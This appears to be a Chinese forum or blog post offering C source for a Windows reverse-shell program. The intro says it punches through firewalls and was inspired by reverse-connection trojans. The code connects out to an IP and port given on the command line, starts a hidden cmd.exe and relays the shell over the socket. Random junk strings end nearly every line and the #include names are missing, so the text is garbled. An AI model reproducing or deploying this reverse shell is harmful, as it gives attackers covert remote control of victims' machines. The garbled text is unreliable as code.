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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "osYw\unI  
: L>d]Hn  
/* ============================== b2Hpuej  
Rebound port in Windows NT d]^i1  
By wind,2006/7 UGMdWq  
===============================*/ 0#7 dm9  
#include ex1ecPpN  
#include LQjqwsuN{  
WDZi @9X_  
#pragma comment(lib,"wsock32.lib") vKC>t95  
4kM<L}J#  
void OutputShell(); 'yNp J'  
SOCKET sClient; GND[f}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O+N-x8W{  
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void main(int argc,char **argv) 0d2%CsMS"D  
{ tFQFpbI  
WSADATA stWsaData; z|2liQrf+  
int nRet; KOQTvJ_#  
SOCKADDR_IN stSaiClient,stSaiServer; Bz{ g4!ku  
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if(argc != 3) 5-*]PAC  
{ 9wC; m:  
printf("Useage:\n\rRebound DestIP DestPort\n"); k y98/6  
return; \) ;rOqh  
} X@)lPr$a  
2$91+N*w9  
WSAStartup(MAKEWORD(2,2),&stWsaData); kYAvzuGRb  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9PAp*`J@kr  
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stSaiClient.sin_family = AF_INET; Fk(5y)  
stSaiClient.sin_port = htons(0); Kf4z*5Veqr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !iw 'tHhR  
S(6ZX>wv:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "ir*;|  
{ EHZSM5hu  
printf("Bind Socket Failed!\n"); "Tv7*3>  
return; YUE[eD/  
} kXr%73s  
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stSaiServer.sin_family = AF_INET; m C Ge*V}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f<wgZM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @2gMtf?<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YSgF'qq\  
{ )VT/kIq-U  
printf("Connect Error!"); {/<&  
return; (=j!P*  
} +mQSlEo  
OutputShell(); pQNFH)=nw  
} o__q)"^~-  
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void OutputShell() eW0=m:6  
{ /Hmo!"W`  
char szBuff[1024];  B]7jg9/  
SECURITY_ATTRIBUTES stSecurityAttributes; Kxn7sL$]=F  
OSVERSIONINFO stOsversionInfo; o3=kF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u $#7W>R  
STARTUPINFO stStartupInfo; 1RA$hW@}  
char *szShell; )^TQedF  
PROCESS_INFORMATION stProcessInformation; PS6`o  
unsigned long lBytesRead; cy4'q ?r  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N+5 ^h(~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %S.U`(.  
stSecurityAttributes.lpSecurityDescriptor = 0; vXbT E$  
stSecurityAttributes.bInheritHandle = TRUE; aTsfl  
J|-HZ-Wk|J  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D OeKW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y6}):|  
SK52.xXJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4Z }{hc\J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F/sBr7I  
stStartupInfo.wShowWindow = SW_HIDE; mx~sxYa  
stStartupInfo.hStdInput = hReadPipe; d&`j 8O  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jm\#($gl=  
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GetVersionEx(&stOsversionInfo); \aIy68rH,  
%%6 ('wi  
switch(stOsversionInfo.dwPlatformId) c'";3 6y  
{ dH|^\IQ  
case 1: e-9unnk  
szShell = "command.com"; C`wI6!  
break; e6lOmgHn5  
default: K"7;Y#1g  
szShell = "cmd.exe"; *GP_ut%  
break; r%d 11[z  
} a}fClI-u  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "Q{~Bj~  
4/?}xD|?  
send(sClient,szMsg,77,0); &Fjilx'k  
while(1) 1 ],, Ar5  
{ D 'cY7P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RH]>>tJ^e  
if(lBytesRead) DWQQ615i  
{ mndl~/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l-}5@D[  
send(sClient,szBuff,lBytesRead,0); RJwIN,&1.  
} $3[\:+  
else "H<#91^|  
{ NxO^VUD  
lBytesRead=recv(sClient,szBuff,1024,0); <0)ud)~u  
if(lBytesRead<=0) break; Ch"8cl;Fm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8? Wxd65)  
} ]fo^43rn{  
} m,C,<I|'d  
E5G"QnxR>N  
return; vUe *  
}
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